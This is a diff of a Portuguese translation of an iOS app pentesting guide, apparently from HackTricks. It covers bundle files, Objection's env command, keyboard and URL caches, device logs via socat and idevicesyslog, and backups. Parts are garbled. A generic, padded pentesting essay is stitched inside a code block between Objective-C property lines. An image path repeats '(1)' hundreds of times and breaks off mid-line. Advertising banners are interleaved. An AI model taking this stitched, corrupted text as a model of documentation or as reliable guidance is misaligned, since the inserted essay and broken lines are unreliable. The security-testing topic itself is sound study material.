* `PlugIns/` pode conter extensões do aplicativo como arquivos .appex (não presentes no exemplo).
|
||||
* [`Core Data`](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes do seu aplicativo para uso offline, para armazenar dados temporários em cache e adicionar funcionalidade de desfazer ao seu aplicativo em um único dispositivo. Para sincronizar dados em vários dispositivos em uma única conta do iCloud, o Core Data espelha automaticamente seu esquema em um contêiner do CloudKit.
|
||||
* [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): O arquivo `PkgInfo` é uma maneira alternativa de especificar os códigos de tipo e criador do seu aplicativo ou pacote.
|
||||
* **en.lproj, fr.proj, Base.lproj**: São os pacotes de idiomas que contêm recursos para esses idiomas específicos e um recurso padrão caso um idioma não seja suportado.
|
||||
* **en.lproj, fr.proj, Base.lproj**: São os pacotes de idioma que contêm recursos para esses idiomas específicos e um recurso padrão caso um idioma não seja suportado.
|
||||
|
||||
Existem várias maneiras de definir a interface do usuário em um aplicativo iOS: arquivos _storyboard_, _nib_ ou _xib_.
|
||||
|
||||
|
@ -214,7 +214,7 @@ Consulte os capítulos mencionados para aprender mais sobre como testar cada um
|
|||
|
||||
No iOS, os aplicativos do sistema podem ser encontrados no diretório `/Applications`, enquanto os aplicativos instalados pelo usuário estão disponíveis em `/private/var/containers/`. No entanto, encontrar a pasta certa apenas navegando no sistema de arquivos não é uma tarefa trivial, pois cada aplicativo recebe um UUID (Identificador Único Universal) de 128 bits aleatório atribuído para os nomes de seus diretórios.
|
||||
|
||||
Para obter facilmente as informações do diretório de instalação para aplicativos instalados pelo usuário, você pode usar o comando **`env`** do objection, que também mostrará todas as informações de diretório do aplicativo:
|
||||
Para obter facilmente as informações do diretório de instalação para aplicativos instalados pelo usuário, você pode usar o comando **`env`** do Objection, que também mostrará todas as informações de diretório do aplicativo:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
|
@ -365,7 +365,7 @@ double _field2;
|
|||
```
|
||||
No entanto, as melhores opções para desmontar o binário são: [**Hopper**](https://www.hopperapp.com/download.html?) e [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -544,7 +544,7 @@ Esse método removerá todas as solicitações e respostas em cache do arquivo C
|
|||
|
||||
[Documentação da Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`Um objeto de configuração de sessão efêmera é semelhante a uma configuração de sessão padrão (consulte default), exceto que o objeto de sessão correspondente não armazena caches, armazenamentos de credenciais ou quaisquer dados relacionados à sessão no disco. Em vez disso, os dados relacionados à sessão são armazenados na RAM. A única vez que uma sessão efêmera grava dados no disco é quando você solicita que ela grave o conteúdo de uma URL em um arquivo.`
|
||||
`Um objeto de configuração de sessão efêmera é semelhante a uma configuração de sessão padrão (consulte default), exceto que o objeto de sessão correspondente não armazena caches, armazenamentos de credenciais ou quaisquer dados relacionados à sessão no disco. Em vez disso, os dados relacionados à sessão são armazenados na RAM. A única vez em que uma sessão efêmera grava dados no disco é quando você solicita que ela grave o conteúdo de uma URL em um arquivo.`
|
||||
3. O cache também pode ser desativado definindo a Política de Cache como [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Isso desativará o armazenamento de cache de qualquer forma, seja na memória ou no disco.
|
||||
|
||||
### Snapshots
|
||||
|
@ -582,62 +582,53 @@ Antes de começar a realizar testes de penetração em aplicativos iOS escritos
|
|||
|
||||
1. Instale o Xcode, que é a IDE oficial da Apple para desenvolvimento de aplicativos iOS.
|
||||
2. Certifique-se de ter um dispositivo iOS real ou um simulador iOS configurado para testar os aplicativos.
|
||||
3. Instale ferramentas de linha de comando, como o Homebrew, para facilitar a instalação de outras dependências.
|
||||
3. Instale o Homebrew, um gerenciador de pacotes para macOS.
|
||||
4. Instale o Frida, uma ferramenta de instrumentação dinâmica que será usada para realizar testes de penetração em aplicativos iOS.
|
||||
|
||||
## Análise estática do código
|
||||
## Instrumentação de aplicativos iOS
|
||||
|
||||
A análise estática do código é uma técnica usada para identificar vulnerabilidades em um aplicativo sem executá-lo. Existem várias ferramentas disponíveis para realizar análise estática de código em aplicativos iOS escritos em Objective-C. Algumas das ferramentas populares incluem:
|
||||
A instrumentação de aplicativos iOS escritos em Objective-C é uma técnica comumente usada para realizar testes de penetração. A instrumentação permite que você inspecione e modifique o comportamento do aplicativo em tempo de execução.
|
||||
|
||||
- [Clang Static Analyzer](https://clang-analyzer.llvm.org/)
|
||||
- [Infer](https://fbinfer.com/)
|
||||
- [OCLint](https://oclint.org/)
|
||||
Existem várias ferramentas disponíveis para instrumentar aplicativos iOS escritos em Objective-C. Alguns exemplos populares incluem:
|
||||
|
||||
Essas ferramentas podem ajudar a identificar problemas de segurança, como uso incorreto de APIs, vazamentos de memória e vulnerabilidades de codificação.
|
||||
- Frida: uma ferramenta de instrumentação dinâmica que permite injetar código JavaScript em aplicativos iOS.
|
||||
- Cycript: uma ferramenta de instrumentação que permite inspecionar e modificar aplicativos iOS em tempo de execução.
|
||||
- Hopper: um desmontador e analisador de código para aplicativos iOS.
|
||||
|
||||
## Análise dinâmica do aplicativo
|
||||
## Análise de segurança
|
||||
|
||||
A análise dinâmica do aplicativo envolve a execução do aplicativo em um ambiente controlado para identificar vulnerabilidades em tempo de execução. Existem várias ferramentas disponíveis para realizar análise dinâmica de aplicativos iOS escritos em Objective-C. Algumas das ferramentas populares incluem:
|
||||
A análise de segurança é uma etapa importante no processo de pentesting de aplicativos iOS escritos em Objective-C. Durante a análise de segurança, você identificará vulnerabilidades e pontos fracos no aplicativo.
|
||||
|
||||
- [Frida](https://frida.re/)
|
||||
- [Cycript](http://www.cycript.org/)
|
||||
- [Objection](https://github.com/sensepost/objection)
|
||||
Existem várias técnicas que podem ser usadas para realizar a análise de segurança em aplicativos iOS escritos em Objective-C. Alguns exemplos incluem:
|
||||
|
||||
Essas ferramentas permitem que você inspecione e manipule o comportamento do aplicativo em tempo de execução, facilitando a identificação de vulnerabilidades, como injeção de código, vazamento de informações e autenticação fraca.
|
||||
- Análise estática de código: examinar o código-fonte do aplicativo em busca de vulnerabilidades conhecidas.
|
||||
- Análise dinâmica de código: executar o aplicativo em um ambiente controlado e monitorar seu comportamento em tempo de execução.
|
||||
- Análise de rede: monitorar o tráfego de rede gerado pelo aplicativo em busca de informações sensíveis sendo transmitidas sem criptografia.
|
||||
|
||||
## Teste de segurança de API
|
||||
## Exploração de vulnerabilidades
|
||||
|
||||
Os aplicativos iOS geralmente se comunicam com servidores back-end por meio de APIs. É importante testar a segurança dessas APIs para garantir que elas estejam protegidas contra ataques. Algumas técnicas comuns de teste de segurança de API incluem:
|
||||
Após identificar vulnerabilidades em um aplicativo iOS escrito em Objective-C, você pode explorá-las para obter acesso não autorizado ou realizar outras ações maliciosas.
|
||||
|
||||
- Teste de injeção de SQL
|
||||
- Teste de injeção de código
|
||||
- Teste de autenticação e autorização
|
||||
- Teste de vazamento de informações
|
||||
Existem várias técnicas de exploração que podem ser usadas em aplicativos iOS escritos em Objective-C. Alguns exemplos incluem:
|
||||
|
||||
Ferramentas como o [Burp Suite](https://portswigger.net/burp) e o [OWASP ZAP](https://www.zaproxy.org/) podem ser usadas para testar a segurança de APIs em aplicativos iOS escritos em Objective-C.
|
||||
- Injeção de código: injetar código malicioso no aplicativo para executar ações não autorizadas.
|
||||
- Quebra de criptografia: explorar falhas na implementação de criptografia para obter acesso a informações sensíveis.
|
||||
- Manipulação de dados: modificar dados em tempo de execução para alterar o comportamento do aplicativo.
|
||||
|
||||
## Teste de segurança de armazenamento de dados
|
||||
## Recomendações de segurança
|
||||
|
||||
Os aplicativos iOS geralmente armazenam dados sensíveis localmente no dispositivo. É importante testar a segurança do armazenamento desses dados para garantir que eles estejam protegidos contra acesso não autorizado. Algumas técnicas comuns de teste de segurança de armazenamento de dados incluem:
|
||||
Ao desenvolver aplicativos iOS em Objective-C, é importante seguir práticas recomendadas de segurança para proteger o aplicativo contra ataques.
|
||||
|
||||
- Teste de criptografia de dados
|
||||
- Teste de vazamento de informações
|
||||
- Teste de manipulação de dados
|
||||
Algumas recomendações de segurança para aplicativos iOS escritos em Objective-C incluem:
|
||||
|
||||
Ferramentas como o [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) e o [Needle](https://github.com/mwrlabs/needle) podem ser usadas para testar a segurança de armazenamento de dados em aplicativos iOS escritos em Objective-C.
|
||||
|
||||
## Teste de segurança de autenticação
|
||||
|
||||
A autenticação é um aspecto crítico da segurança de um aplicativo iOS. É importante testar a segurança da autenticação para garantir que apenas usuários autorizados possam acessar o aplicativo. Algumas técnicas comuns de teste de segurança de autenticação incluem:
|
||||
|
||||
- Teste de força bruta
|
||||
- Teste de autenticação fraca
|
||||
- Teste de autenticação por token
|
||||
|
||||
Ferramentas como o [OWASP Mobile Security Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/) e o [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) podem ser usadas para testar a segurança de autenticação em aplicativos iOS escritos em Objective-C.
|
||||
- Utilizar criptografia adequada para proteger informações sensíveis armazenadas no aplicativo.
|
||||
- Implementar autenticação e autorização adequadas para controlar o acesso ao aplicativo.
|
||||
- Validar e sanitizar todas as entradas de dados para evitar ataques de injeção de código.
|
||||
- Manter o aplicativo atualizado com as últimas correções de segurança e atualizações do sistema operacional iOS.
|
||||
|
||||
## Conclusão
|
||||
|
||||
Neste guia, exploramos técnicas de pentesting para aplicativos iOS escritos em Objective-C. A análise estática e dinâmica do código, o teste de segurança de API, o teste de segurança de armazenamento de dados e o teste de segurança de autenticação são aspectos importantes a serem considerados ao realizar testes de penetração em aplicativos iOS.
|
||||
Neste guia, exploramos técnicas de pentesting para aplicativos iOS escritos em Objective-C. Através da instrumentação, análise de segurança e exploração de vulnerabilidades, é possível identificar e corrigir falhas de segurança em aplicativos iOS. Ao seguir as práticas recomendadas de segurança, você pode proteger seus aplicativos contra ataques maliciosos.
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
|
@ -684,19 +675,19 @@ Além disso, **aplicativos podem impedir que seus usuários usem teclados person
|
|||
Recomenda-se não permitir teclados de terceiros se você considerar que os usuários não precisarão deles.
|
||||
{% endhint %}
|
||||
|
||||
Observe que, devido à correção automática e sugestões automáticas, o teclado padrão do iOS capturará e armazenará cada palavra não padrão em um arquivo de cache se o atributo **secureTextEntry** não estiver definido como **true** ou se **autoCorrectionType** não estiver definido como **UITextAutoCorrectionTypeNo**.
|
||||
Observe que, devido à correção automática e sugestões automáticas, o teclado padrão do iOS capturará e armazenará cada palavra não padrão em um arquivo de cache, a menos que o atributo **secureTextEntry** seja definido como **true** ou que **autoCorrectionType** seja definido como **UITextAutoCorrectionTypeNo**.
|
||||
|
||||
Por padrão, os teclados **armazenam esse cache** dentro do sandbox do aplicativo no arquivo `Library/Keyboard/{locale}-dynamic-text.dat` ou em `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. No entanto, pode estar salvando os dados em outro local.\
|
||||
É possível redefinir o cache em _**Configurações**_ > _**Geral**_ > _**Redefinir**_ > _**Redefinir Dicionário do Teclado**_
|
||||
|
||||
{% hint style="info" %}
|
||||
Portanto, **sempre verifique esses arquivos** e procure por possíveis **informações sigilosas**.\
|
||||
Portanto, **verifique sempre esses arquivos** e procure por possíveis **informações sigilosas**.\
|
||||
**Interceptar o tráfego de rede** é outra maneira de verificar se o teclado personalizado está enviando as teclas digitadas para um servidor remoto.
|
||||
{% endhint %}
|
||||
|
||||
O protocolo [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) é usado para o cache do teclado. As classes UITextField, UITextView e UISearchBar suportam automaticamente esse protocolo e oferecem as seguintes propriedades:
|
||||
|
||||
* `var autocorrectionType: UITextAutocorrectionType` determina se a correção automática está ativada durante a digitação. Quando a correção automática está ativada, o objeto de texto rastreia palavras desconhecidas e sugere substituições adequadas, substituindo automaticamente o texto digitado, a menos que o usuário substitua a substituição. O valor padrão dessa propriedade é `UITextAutocorrectionTypeDefault`, que, para a maioria dos métodos de entrada, ativa a correção automática.
|
||||
* `var autocorrectionType: UITextAutocorrectionType` determina se a correção automática está ativada durante a digitação. Quando a correção automática está ativada, o objeto de texto rastreia palavras desconhecidas e sugere substituições adequadas, substituindo automaticamente o texto digitado, a menos que o usuário anule a substituição. O valor padrão dessa propriedade é `UITextAutocorrectionTypeDefault`, que, para a maioria dos métodos de entrada, ativa a correção automática.
|
||||
* `var secureTextEntry: BOOL` determina se a cópia de texto e o cache de texto estão desativados e oculta o texto digitado para `UITextField`. O valor padrão dessa propriedade é `NO`.
|
||||
|
||||
**Para identificar esse comportamento no código:**
|
||||
|
@ -744,14 +735,14 @@ idevicesyslog -u <id> (| grep <app>) # To get the device logs
|
|||
```
|
||||
Você pode coletar logs do console através da janela **Devices** do Xcode da seguinte forma:
|
||||
|
||||
1. Abra o Xcode.
|
||||
2. Conecte seu dispositivo ao computador hospedeiro.
|
||||
1. Inicie o Xcode.
|
||||
2. Conecte seu dispositivo ao seu computador hospedeiro.
|
||||
3. Escolha **Window** -> **Devices and Simulators**.
|
||||
4. Clique no seu dispositivo iOS conectado na seção esquerda da janela Devices.
|
||||
5. Reproduza o problema.
|
||||
6. Clique no botão **Open Console** localizado na área superior direita da janela Devices para visualizar os logs do console em uma janela separada.
|
||||
|
||||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1
|
||||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
|
@ -766,7 +757,7 @@ Jun 7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (155
|
|||
Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
|
||||
...
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -778,16 +769,16 @@ Acesse hoje mesmo:
|
|||
|
||||
O iOS inclui recursos de backup automático que criam cópias dos dados armazenados no dispositivo. Você pode fazer **backups do iOS** a partir do seu computador host usando o iTunes (até o macOS Catalina) ou o Finder (a partir do macOS Catalina), ou através do recurso de backup do iCloud. Em ambos os casos, o backup inclui quase todos os dados armazenados no dispositivo iOS, exceto dados altamente sensíveis, como informações do Apple Pay e configurações do Touch ID.
|
||||
|
||||
Como o iOS faz backup de aplicativos instalados e seus dados, uma preocupação óbvia é se os dados sensíveis do usuário armazenados pelo aplicativo podem vazar inadvertidamente através do backup. Outra preocupação, embora menos óbvia, é se as configurações de configuração sensíveis usadas para proteger dados ou restringir a funcionalidade do aplicativo podem ser adulteradas para alterar o comportamento do aplicativo após a restauração de um backup modificado. Ambas as preocupações são válidas e essas vulnerabilidades têm se mostrado existentes em um grande número de aplicativos hoje em dia.
|
||||
